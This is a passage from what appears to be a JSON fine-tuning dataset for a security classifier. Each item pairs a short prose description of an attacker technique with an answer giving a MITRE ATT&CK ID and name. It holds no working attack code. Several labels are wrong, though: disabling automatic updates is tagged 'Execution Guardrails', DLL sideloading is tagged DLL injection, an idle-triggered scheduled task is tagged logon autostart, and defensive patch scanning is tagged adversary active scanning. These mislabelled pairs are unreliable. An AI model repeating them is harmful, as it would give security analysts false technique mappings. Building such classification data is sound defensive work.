                "content": "Through the compromise of a cloud-based MFA provider, the threat actor modifies the authentication policy to reduce required factors."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged Group Policy Software Installation (GPSI) to deploy a malicious MSI package to all domain-joined computers."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script sends a flood of DNS queries to the target’s DNS resolver, causing the service to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform network topology discovery using tools like Nmap to map subnets, routers, and switches within the target environment."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group configures a scheduled task that triggers the malicious screensaver at user logoff, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a vulnerable backup service to retrieve archived private keys and use them to gain persistence on target systems."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response observed commands that stopped and deleted cloud instances via the OpenStack CLI."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script contacts an external server, sending local network data to discover the system's public IP."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder creates a scheduled task named 'Defrag' that executes a data exfiltration tool under the radar."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set modified the registry to add a ServiceImagePath pointing to a malicious executable, causing it to run at service startup."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder changed the password of a high‑privilege account and then disabled the original account to lock out legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker’s PowerShell script creates a persistent C2 channel, later using that same channel to download additional malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a steganographic method to hide C2 commands within encrypted HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential vulnerabilities in an operating system through patch management and vulnerability scanning."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerable comment field to inject malicious HTML and JavaScript that executes when other users view the page."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors search for Group Policy Preference objects that contain the cpassword attribute and decode the base64‑encoded passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a keylogger that records keystrokes from both console and GUI applications."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider exfiltrates unpublished vulnerability details from the organization’s security research team to sell on underground markets."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modified the auto‑scaling group parameters in Azure to spawn additional VMs under their control."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a Windows Command Shell pipeline to pipe the output of systeminfo into a base64-encoded exfiltration payload."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated campaign used rundll32.exe to run a DLL that performed DLL hijacking, allowing the attacker to execute arbitrary code under the context of a trusted process."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed automated queries against an ElasticSearch database to retrieve internal project plans."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves using launchctl to modify the system's launch agents, enabling the execution of a payload during user login."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a popular news site and embed a malicious JavaScript that automatically downloads and executes a ransomware payload on any visitor’s browser, targeting the organization’s employees (Drive‑by Target)."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses WHOIS services to enumerate email addresses associated with a target organization's domains."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application uses the 'Run' registry key to execute a malicious script at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the AWS CLI to move reconnaissance data into an attacker‑owned S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves using ptrace for process injection, whereby the attacker overwrites function pointers in a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload executes \"wmic baseboard get product,serialnumber\" to collect the baseboard (motherboard) product name and serial number."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a hidden service account in /etc/passwd with UID 0 and a comment field of 'system' to blend in with system users."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker inserts malicious VBA code into an Office document and then overwrites the macro with benign content to hide the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sent confidential documents to an external FTP server over cleartext FTP, avoiding the usual C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware leverages built-in Windows APIs to dump the SAM database for credential theft."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool enumerates Thunderbird profile directories and copies all mbox files containing email archives."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system exported database dumps onto a removable SD card which was then smuggled out of the building."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware overwrites the .bash_history file to erase evidence of executed commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts API tokens from mobile application config files that were left unencrypted on the device."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Port knocking is leveraged by sending a rapid succession of SYN packets to ports 4000, 5000, and 6000, prompting the firewall to temporarily allow inbound connections from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a PowerShell function that converts a series of ASCII codes back into a readable script."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker modifies the load path of a macOS application so that it loads a malicious .dylib instead of the original, enabling persistence."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary manipulates the host's image building scripts to embed a cryptomining payload into a newly created container."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program modifies the certificate generation process to use self‑signed certificates with 1024‑bit RSA keys, decreasing the cryptographic strength of secure channels."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor writes stolen credential files into a concealed subdirectory on the endpoint for batch exfiltration later."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access trojan silently records video of the user’s desktop and webcam without consent."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Short description: compromised internal email used to send a malicious attachment to other employees."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder changed the domain's group policy to set a new service account with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After credential dumping, the malware writes the credentials to a local SQLite database for staging."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised Kubernetes cluster to run crypto‑mining pods across multiple nodes."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker installs a custom Windows service named \"WinUpdate\" to execute a PowerShell script with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs DLL sideloading by placing a malicious DLL in the same directory as a legitimate executable, causing it to load the malicious library."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a tool that rewrites the application’s credential store, encrypting passwords with a reversible algorithm while preserving the authentication flow."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a Python script with PyAutoGUI's screenshot() function to exfiltrate the desktop image."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By authenticating to the WinRM endpoint, the intruder runs a remote WMI query to enumerate system information."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates shared folders on the corporate LAN and exfiltrates spreadsheets via the network share."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new scheduled task using the Task Scheduler API with a trigger based on system idle time."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors authenticate with a vendor‑provided default service account."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor initiates a phone conversation, pretends to be a help‑desk technician, and directs the user to install a remote access tool by following verbal instructions."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a service account to copy sensitive files into a counterfeit SharePoint site."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor retrieved password hashes from a compromised Linux /etc/shadow file and used Hashcat to attempt cracking."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor is installed by executing a Visual Basic script that modifies the registry to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables automatic updates to prevent security patches from being applied."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion logs show a new account creation event with a suspiciously high UID, indicating a potential compromise."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script harvests browser cookies and session tokens from Chrome's storage."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a legitimate email service to exfiltrate data using large attachments sent over SMTP."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exploits a compromised web server to host a hidden command endpoint accessed via GET parameters."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group utilizes the \"at\" command to delay execution of a payload until system load is low."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages the Windows HTML Help executable (hh.exe) to open a crafted CHM file, which in turn proxies execution of a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker rented a DNS server to perform domain fronting for evading network defenses."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging a firmware flashing tool, the attacker installs a rootkit into the device's BIOS without user consent."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response notes describe an attacker performing automated enumeration of Confluence spaces to identify sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the \"at\" command to queue a reverse shell connection at a specific time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages systemd to execute a malicious binary by creating a new service with Type=oneshot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the Office startup configuration to load a malicious .dotm template as an add‑in each time PowerPoint opens."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to download and execute a payload directly from a remote server, storing it only in volatile memory without creating files."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious USB device exploits the UEFI firmware interface to corrupt the firmware and establish a stealthy foothold."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deletes files and registry entries that contain known Indicators of Compromise, so security tools cannot recognize its presence."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs WHOIS lookups on the target's domain to collect registrant and contact information."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
